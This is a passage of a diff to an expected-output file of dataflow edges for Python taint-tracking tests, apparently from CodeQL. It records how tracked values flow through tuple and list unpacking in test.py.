test.py:539:5:539:11 | ControlFlowNode for List [List element, List element, List element] | test.py:539:6:539:10 | IterableSequence [List element, List element] | +| test.py:539:5:539:11 | IterableElement [List element, List element] | test.py:539:5:539:11 | ControlFlowNode for List [List element, List element, List element] | +| test.py:539:5:539:11 | IterableSequence [List element, List element, List element] | test.py:539:5:539:11 | IterableElement [List element, List element] | +| test.py:539:5:539:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | test.py:539:5:539:11 | IterableSequence [List element, List element, List element] | +| test.py:539:5:539:14 | IterableElement [List element, List element, List element] | test.py:539:5:539:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | +| test.py:539:5:539:14 | IterableSequence [List element, List element, List element, List element] | test.py:539:5:539:14 | IterableElement [List element, List element, List element] | +| test.py:539:6:539:10 | ControlFlowNode for List [List element, List element] | test.py:539:5:539:11 | ControlFlowNode for List [List element, List element, List element] | +| test.py:539:6:539:10 | ControlFlowNode for List [List element, List element] | test.py:539:7:539:9 | IterableSequence [List element] | +| test.py:539:6:539:10 | IterableElement [List element] | test.py:539:6:539:10 | ControlFlowNode for List [List element, List element] | +| test.py:539:6:539:10 | IterableSequence [List element, List element] | test.py:539:6:539:10 | IterableElement [List element] | +| test.py:539:7:539:9 | ControlFlowNode for List [List element] | test.py:539:6:539:10 | ControlFlowNode for List [List element, List element] | +| test.py:539:7:539:9 | ControlFlowNode for List [List element] | test.py:539:8:539:8 | SSA variable a | +| test.py:539:7:539:9 | IterableElement | test.py:539:7:539:9 | ControlFlowNode for List [List element] | +| test.py:539:7:539:9 | IterableSequence [List element] | test.py:539:7:539:9 | IterableElement | +| test.py:539:8:539:8 | SSA variable a | test.py:540:10:540:10 | ControlFlowNode for a | | test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:546:18:546:23 | ControlFlowNode for SOURCE | | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:547:8:547:9 | ControlFlowNode for Starred [Tuple element at index 0] | | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:546:18:546:23 | ControlFlowNode for SOURCE | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:547:5:547:5 | SSA variable a | test.py:548:10:548:10 | ControlFlowNode for a | | test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:547:5:547:5 | SSA variable a | -| test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:547:8:547:9 | ControlFlowNode for Starred [Tuple element at index 0] | -| test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | test.py:547:8:547:9 | SSA variable b [Tuple element at index 0] | -| test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:547:8:547:9 | SSA variable b | -| test.py:547:8:547:9 | ControlFlowNode for Starred [Tuple element at index 0] | test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | -| test.py:547:8:547:9 | SSA variable b | test.py:549:12:549:12 | ControlFlowNode for b | -| test.py:547:8:547:9 | SSA variable b [Tuple element at index 0] | test.py:550:10:550:10 | ControlFlowNode for b [Tuple element at index 0] | -| test.py:550:10:550:10 | ControlFlowNode for b [Tuple element at index 0] | test.py:550:10:550:13 | ControlFlowNode for Subscript | -| test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | test.py:559:28:559:29 | ControlFlowNode for ll [List element, List element] | +| test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:547:8:547:9 | IterableElement | +| test.py:547:8:547:9 | IterableElement | test.py:547:8:547:9 | SSA variable b [List element] | +| test.py:547:8:547:9 | SSA variable b [List element] | test.py:550:10:550:10 | ControlFlowNode for b [List element] | +| test.py:550:10:550:10 | ControlFlowNode for b [List element] | test.py:550:10:550:13 | ControlFlowNode for Subscript | +| test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | test.py:559:6:559:23 | IterableSequence [List element, List element] | | test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | test.py:567:5:567:24 | ControlFlowNode for List [List element, List element] | -| test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | test.py:567:28:567:29 | ControlFlowNode for ll [List element, List element] | -| test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | test.py:575:28:575:29 | ControlFlowNode for ll [List element, List element] | +| test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | test.py:567:5:567:24 | IterableSequence [List element, List element] | +| test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | test.py:575:6:575:23 | IterableSequence [List element, List element] | | test.py:556:11:556:37 | ControlFlowNode for List [List element] | test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | | test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:556:11:556:37 | ControlFlowNode for List [List element] | | test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:556:31:556:36 | ControlFlowNode for SOURCE | @@ -232,159 +241,78 @@ edges | test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:556:41:556:46 | ControlFlowNode for SOURCE | | test.py:556:40:556:47 | ControlFlowNode for List [List element] | test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | | test.py:556:41:556:46 | ControlFlowNode for SOURCE | test.py:556:40:556:47 | ControlFlowNode for List [List element] | -| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:559:7:559:16 | ControlFlowNode for Tuple [List element] | -| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:559:7:559:16 | IterableSequence [List element] | | test.py:559:6:559:23 | IterableElement [List element] | test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:559:6:559:23 | IterableSequence [List element, List element] | test.py:559:6:559:23 | IterableElement [List element] | | test.py:559:7:559:8 | SSA variable a1 | test.py:560:10:560:11 | ControlFlowNode for a1 | -| test.py:559:7:559:16 | ControlFlowNode for Tuple [List element] | test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:559:7:559:16 | ControlFlowNode for Tuple [List element] | test.py:559:7:559:16 | IterableElement | -| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:559:7:559:8 | SSA variable a1 | -| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:559:11:559:12 | SSA variable a2 | -| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:559:15:559:16 | SSA variable a3 | | test.py:559:7:559:16 | IterableElement | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:559:7:559:16 | IterableElement | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:559:7:559:16 | IterableElement | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:559:7:559:16 | IterableSequence [List element] | test.py:559:7:559:16 | IterableElement | | test.py:559:11:559:12 | SSA variable a2 | test.py:561:12:561:13 | ControlFlowNode for a2 | | test.py:559:15:559:16 | SSA variable a3 | test.py:562:10:562:11 | ControlFlowNode for a3 | -| test.py:559:28:559:29 | ControlFlowNode for ll [List element, List element] | test.py:559:6:559:23 | IterableElement [List element] | -| test.py:567:5:567:24 | ControlFlowNode for List [List element, List element] | test.py:567:7:567:16 | ControlFlowNode for Tuple [List element] | -| test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 1] | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 2] | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:567:5:567:24 | ControlFlowNode for List [List element, List element] | test.py:567:7:567:16 | IterableSequence [List element] | | test.py:567:5:567:24 | IterableElement [List element] | test.py:567:5:567:24 | ControlFlowNode for List [List element, List element] | +| test.py:567:5:567:24 | IterableSequence [List element, List element] | test.py:567:5:567:24 | IterableElement [List element] | | test.py:567:7:567:8 | SSA variable a1 | test.py:568:10:568:11 | ControlFlowNode for a1 | -| test.py:567:7:567:16 | ControlFlowNode for Tuple [List element] | test.py:567:5:567:24 | ControlFlowNode for List [List element, List element] | -| test.py:567:7:567:16 | ControlFlowNode for Tuple [List element] | test.py:567:7:567:16 | IterableElement | -| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 0] | | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:567:7:567:8 | SSA variable a1 | -| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 1] | | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:567:11:567:12 | SSA variable a2 | -| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 2] | | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:567:15:567:16 | SSA variable a3 | | test.py:567:7:567:16 | IterableElement | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:567:7:567:16 | IterableElement | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:567:7:567:16 | IterableElement | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:567:7:567:16 | IterableSequence [List element] | test.py:567:7:567:16 | IterableElement | | test.py:567:11:567:12 | SSA variable a2 | test.py:569:12:569:13 | ControlFlowNode for a2 | | test.py:567:15:567:16 | SSA variable a3 | test.py:570:10:570:11 | ControlFlowNode for a3 | -| test.py:567:28:567:29 | ControlFlowNode for ll [List element, List element] | test.py:567:5:567:24 | IterableElement [List element] | -| test.py:575:6:575:17 | ControlFlowNode for List [List element] | test.py:575:6:575:17 | IterableElement | | test.py:575:6:575:17 | ControlFlowNode for List [List element] | test.py:575:6:575:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | | test.py:575:6:575:17 | ControlFlowNode for List [List element] | test.py:575:7:575:8 | SSA variable a1 | | test.py:575:6:575:17 | ControlFlowNode for List [List element] | test.py:575:11:575:12 | SSA variable a2 | | test.py:575:6:575:17 | ControlFlowNode for List [List element] | test.py:575:15:575:16 | SSA variable a3 | | test.py:575:6:575:17 | IterableElement | test.py:575:6:575:17 | ControlFlowNode for List [List element] | -| test.py:575:6:575:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:575:6:575:17 | ControlFlowNode for List [List element] | +| test.py:575:6:575:17 | IterableSequence [List element] | test.py:575:6:575:17 | IterableElement | +| test.py:575:6:575:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:575:6:575:17 | IterableSequence [List element] | | test.py:575:6:575:23 | IterableElement [List element] | test.py:575:6:575:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:575:6:575:23 | IterableSequence [List element, List element] | test.py:575:6:575:23 | IterableElement [List element] | | test.py:575:7:575:8 | SSA variable a1 | test.py:576:10:576:11 | ControlFlowNode for a1 | | test.py:575:11:575:12 | SSA variable a2 | test.py:577:12:577:13 | ControlFlowNode for a2 | | test.py:575:15:575:16 | SSA variable a3 | test.py:578:10:578:11 | ControlFlowNode for a3 | -| test.py:575:28:575:29 | ControlFlowNode for ll [List element, List element] | test.py:575:6:575:23 | IterableElement [List element] | -| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:587:5:587:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | -| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:587:17:587:18 | ControlFlowNode for Starred [Tuple element at index 0, Tuple element at index 0] | -| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:587:23:587:24 | ControlFlowNode for tt [Tuple element at index 0, Tuple element at index 0] | -| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:605:5:605:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | -| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:605:17:605:18 | ControlFlowNode for Starred [Tuple element at index 0, Tuple element at index 0] | -| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:605:23:605:24 | ControlFlowNode for tt [Tuple element at index 0, Tuple element at index 0] | +| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:587:5:587:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | | test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:584:12:584:36 | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:584:12:584:36 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:587:5:587:19 | ControlFlowNode for List [List element, List element, List element] | test.py:587:6:587:14 | ControlFlowNode for List [List element, List element] | -| test.py:587:5:587:19 | ControlFlowNode for List [List element, List element, Tuple element at index 0] | test.py:587:6:587:14 | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:587:5:587:19 | ControlFlowNode for List [List element, List element] | test.py:587:6:587:14 | ControlFlowNode for List [List element] | -| test.py:587:5:587:19 | ControlFlowNode for List [List element, List element] | test.py:587:17:587:18 | ControlFlowNode for Starred [List element, List element] | -| test.py:587:5:587:19 | ControlFlowNode for List [List element, List element] | test.py:587:17:587:18 | SSA variable b [List element] | -| test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0, Tuple element at index 0] | test.py:587:6:587:14 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | -| test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:587:6:587:14 | ControlFlowNode for List [Tuple element at index 0] | -| test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:587:17:587:18 | ControlFlowNode for Starred [List element, Tuple element at index 0] | -| test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:587:17:587:18 | SSA variable b [Tuple element at index 0] | -| test.py:587:5:587:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | test.py:587:17:587:18 | ControlFlowNode for Starred [Tuple element at index 0, Tuple element at index 0] | +| test.py:587:5:587:19 | ControlFlowNode for List [List element, List element] | test.py:587:6:587:14 | IterableSequence [List element] | +| test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:587:6:587:14 | IterableSequence [Tuple element at index 0] | | test.py:587:5:587:19 | IterableElement [Tuple element at index 0] | test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:587:6:587:14 | ControlFlowNode for List [List element, List element] | test.py:587:5:587:19 | ControlFlowNode for List [List element, List element, List element] | -| test.py:587:6:587:14 | ControlFlowNode for List [List element, List element] | test.py:587:6:587:14 | IterableElement [List element] | -| test.py:587:6:587:14 | ControlFlowNode for List [List element, List element] | test.py:587:7:587:8 | SSA variable a1 [List element] | -| test.py:587:6:587:14 | ControlFlowNode for List [List element, List element] | test.py:587:11:587:13 | SSA variable a2 [List element] | -| test.py:587:6:587:14 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:587:5:587:19 | ControlFlowNode for List [List element, List element, Tuple element at index 0] | -| test.py:587:6:587:14 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:587:6:587:14 | IterableElement [Tuple element at index 0] | -| test.py:587:6:587:14 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:587:7:587:8 | SSA variable a1 [Tuple element at index 0] | -| test.py:587:6:587:14 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:587:11:587:13 | SSA variable a2 [Tuple element at index 0] | +| test.py:587:5:587:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | test.py:587:5:587:19 | IterableElement [Tuple element at index 0] | | test.py:587:6:587:14 | ControlFlowNode for List [List element] | test.py:587:5:587:19 | ControlFlowNode for List [List element, List element] | -| test.py:587:6:587:14 | ControlFlowNode for List [List element] | test.py:587:6:587:14 | IterableElement | | test.py:587:6:587:14 | ControlFlowNode for List [List element] | test.py:587:7:587:8 | SSA variable a1 | -| test.py:587:6:587:14 | ControlFlowNode for List [List element] | test.py:587:11:587:13 | SSA variable a2 | -| test.py:587:6:587:14 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0, Tuple element at index 0] | -| test.py:587:6:587:14 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | test.py:587:6:587:14 | IterableElement [Tuple element at index 0] | -| test.py:587:6:587:14 | ControlFlowNode for List [Tuple element at index 0] | test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:587:6:587:14 | ControlFlowNode for List [Tuple element at index 0] | test.py:587:6:587:14 | IterableElement | +| test.py:587:6:587:14 | ControlFlowNode for List [List element] | test.py:587:11:587:13 | IterableElement | | test.py:587:6:587:14 | IterableElement | test.py:587:6:587:14 | ControlFlowNode for List [List element] | -| test.py:587:6:587:14 | IterableElement [List element] | test.py:587:6:587:14 | ControlFlowNode for List [List element, List element] | -| test.py:587:6:587:14 | IterableElement [Tuple element at index 0] | test.py:587:6:587:14 | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:587:6:587:14 | IterableSequence [List element] | test.py:587:6:587:14 | IterableElement | +| test.py:587:6:587:14 | IterableSequence [Tuple element at index 0] | test.py:587:6:587:14 | IterableElement | | test.py:587:7:587:8 | SSA variable a1 | test.py:588:10:588:11 | ControlFlowNode for a1 | -| test.py:587:7:587:8 | SSA variable a1 [List element] | test.py:591:12:591:13 | ControlFlowNode for a1 [List element] | -| test.py:587:7:587:8 | SSA variable a1 [Tuple element at index 0] | test.py:591:12:591:13 | ControlFlowNode for a1 [Tuple element at index 0] | -| test.py:587:11:587:13 | SSA variable a2 | test.py:589:12:589:13 | ControlFlowNode for a2 | -| test.py:587:11:587:13 | SSA variable a2 [List element] | test.py:590:10:590:11 | ControlFlowNode for a2 [List element] | -| test.py:587:11:587:13 | SSA variable a2 [Tuple element at index 0] | test.py:590:10:590:11 | ControlFlowNode for a2 [Tuple element at index 0] | -| test.py:587:17:587:18 | ControlFlowNode for Starred [List element, List element] | test.py:587:5:587:19 | ControlFlowNode for List [List element, List element, List element] | -| test.py:587:17:587:18 | ControlFlowNode for Starred [List element, Tuple element at index 0] | test.py:587:5:587:19 | ControlFlowNode for List [List element, List element, Tuple element at index 0] | -| test.py:587:17:587:18 | ControlFlowNode for Starred [Tuple element at index 0, Tuple element at index 0] | test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0, Tuple element at index 0] | -| test.py:587:17:587:18 | SSA variable b [List element] | test.py:593:12:593:12 | ControlFlowNode for b [List element] | -| test.py:587:17:587:18 | SSA variable b [Tuple element at index 0] | test.py:593:12:593:12 | ControlFlowNode for b [Tuple element at index 0] | -| test.py:587:23:587:24 | ControlFlowNode for tt [Tuple element at index 0, Tuple element at index 0] | test.py:587:5:587:19 | IterableElement [Tuple element at index 0] | -| test.py:590:10:590:11 | ControlFlowNode for a2 [List element] | test.py:590:10:590:14 | ControlFlowNode for Subscript | -| test.py:590:10:590:11 | ControlFlowNode for a2 [Tuple element at index 0] | test.py:590:10:590:14 | ControlFlowNode for Subscript | -| test.py:591:12:591:13 | ControlFlowNode for a1 [List element] | test.py:591:12:591:16 | ControlFlowNode for Subscript | -| test.py:591:12:591:13 | ControlFlowNode for a1 [Tuple element at index 0] | test.py:591:12:591:16 | ControlFlowNode for Subscript | -| test.py:593:12:593:12 | ControlFlowNode for b [List element] | test.py:593:12:593:15 | ControlFlowNode for Subscript | -| test.py:593:12:593:12 | ControlFlowNode for b [Tuple element at index 0] | test.py:593:12:593:15 | ControlFlowNode for Subscript | -| test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:596:7:596:8 | SSA variable a1 | test.py:597:10:597:11 | ControlFlowNode for a1 | -| test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:596:7:596:8 | SSA variable a1 | -| test.py:605:5:605:19 | ControlFlowNode for List [List element, List element, Tuple element at index 0] | test.py:605:7:605:13 | ControlFlowNode for Tuple [List element, Tuple element at index 0] | -| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0, Tuple element at index 0] | test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:605:17:605:18 | ControlFlowNode for Starred [List element, Tuple element at index 0] | -| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:605:17:605:18 | SSA variable b [Tuple element at index 0] | -| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 1, Tuple element at index 0] | test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | -| test.py:605:5:605:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | test.py:605:17:605:18 | ControlFlowNode for Starred [Tuple element at index 0, Tuple element at index 0] | -| test.py:605:5:605:19 | IterableElement [Tuple element at index 0] | test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:605:7:605:8 | SSA variable a1 | test.py:606:10:606:11 | ControlFlowNode for a1 | -| test.py:605:7:605:8 | SSA variable a1 [Tuple element at index 0] | test.py:609:12:609:13 | ControlFlowNode for a1 [Tuple element at index 0] | -| test.py:605:7:605:13 | ControlFlowNode for Tuple [List element, Tuple element at index 0] | test.py:605:5:605:19 | ControlFlowNode for List [List element, List element, Tuple element at index 0] | -| test.py:605:7:605:13 | ControlFlowNode for Tuple [List element, Tuple element at index 0] | test.py:605:7:605:13 | IterableElement [Tuple element at index 0] | -| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0, Tuple element at index 0] | -| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:605:7:605:8 | SSA variable a1 [Tuple element at index 0] | -| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:605:7:605:8 | SSA variable a1 | -| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 1, Tuple element at index 0] | -| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | test.py:605:11:605:13 | SSA variable a2 [Tuple element at index 0] | -| test.py:605:7:605:13 | IterableElement [Tuple element at index 0] | test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:605:7:605:13 | IterableElement [Tuple element at index 0] | test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | -| test.py:605:11:605:13 | SSA variable a2 [Tuple element at index 0] | test.py:608:10:608:11 | ControlFlowNode for a2 [Tuple element at index 0] | -| test.py:605:17:605:18 | ControlFlowNode for Starred [List element, Tuple element at index 0] | test.py:605:5:605:19 | ControlFlowNode for List [List element, List element, Tuple element at index 0] | -| test.py:605:17:605:18 | ControlFlowNode for Starred [Tuple element at index 0, Tuple element at index 0] | test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0, Tuple element at index 0] | -| test.py:605:17:605:18 | SSA variable b [Tuple element at index 0] | test.py:611:12:611:12 | ControlFlowNode for b [Tuple element at index 0] | -| test.py:605:23:605:24 | ControlFlowNode for tt [Tuple element at index 0, Tuple element at index 0] | test.py:605:5:605:19 | IterableElement [Tuple element at index 0] | -| test.py:608:10:608:11 | ControlFlowNode for a2 [Tuple element at index 0] | test.py:608:10:608:14 | ControlFlowNode for Subscript | -| test.py:609:12:609:13 | ControlFlowNode for a1 [Tuple element at index 0] | test.py:609:12:609:16 | ControlFlowNode for Subscript | -| test.py:611:12:611:12 | ControlFlowNode for b [Tuple element at index 0] | test.py:611:12:611:15 | ControlFlowNode for Subscript | -| test.py:614:6:614:14 | ControlFlowNode for List [List element] | test.py:614:6:614:14 | IterableElement | +| test.py:587:11:587:13 | IterableElement | test.py:587:11:587:13 | SSA variable a2 [List element] | +| test.py:587:11:587:13 | SSA variable a2 [List element] | test.py:590:12:590:13 | ControlFlowNode for a2 [List element] | +| test.py:587:11:587:13 | SSA variable a2 [List element] | test.py:591:10:591:11 | ControlFlowNode for a2 [List element] | +| test.py:590:12:590:13 | ControlFlowNode for a2 [List element] | test.py:590:12:590:16 | ControlFlowNode for Subscript | +| test.py:591:10:591:11 | ControlFlowNode for a2 [List element] | test.py:591:10:591:14 | ControlFlowNode for Subscript | | test.py:614:6:614:14 | ControlFlowNode for List [List element] | test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | | test.py:614:6:614:14 | ControlFlowNode for List [List element] | test.py:614:7:614:8 | SSA variable a1 | -| test.py:614:6:614:14 | ControlFlowNode for List [List element] | test.py:614:11:614:13 | SSA variable a2 | -| test.py:614:6:614:14 | ControlFlowNode for List [Tuple element at index 0] | test.py:614:6:614:14 | IterableElement | -| test.py:614:6:614:14 | ControlFlowNode for List [Tuple element at index 0] | test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:614:6:614:14 | ControlFlowNode for List [List element] | test.py:614:11:614:13 | IterableElement | | test.py:614:6:614:14 | IterableElement | test.py:614:6:614:14 | ControlFlowNode for List [List element] | -| test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:614:6:614:14 | ControlFlowNode for List [List element] | -| test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:614:6:614:14 | ControlFlowNode for List [Tuple element at index 0] | +| test.py:614:6:614:14 | IterableSequence [List element] | test.py:614:6:614:14 | IterableElement | +| test.py:614:6:614:14 | IterableSequence [Tuple element at index 0] | test.py:614:6:614:14 | IterableElement | +| test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:614:6:614:14 | IterableSequence [List element] | +| test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:614:6:614:14 | IterableSequence [Tuple element at index 0] | | test.py:614:7:614:8 | SSA variable a1 | test.py:615:10:615:11 | ControlFlowNode for a1 | -| test.py:614:11:614:13 | SSA variable a2 | test.py:616:12:616:13 | ControlFlowNode for a2 | +| 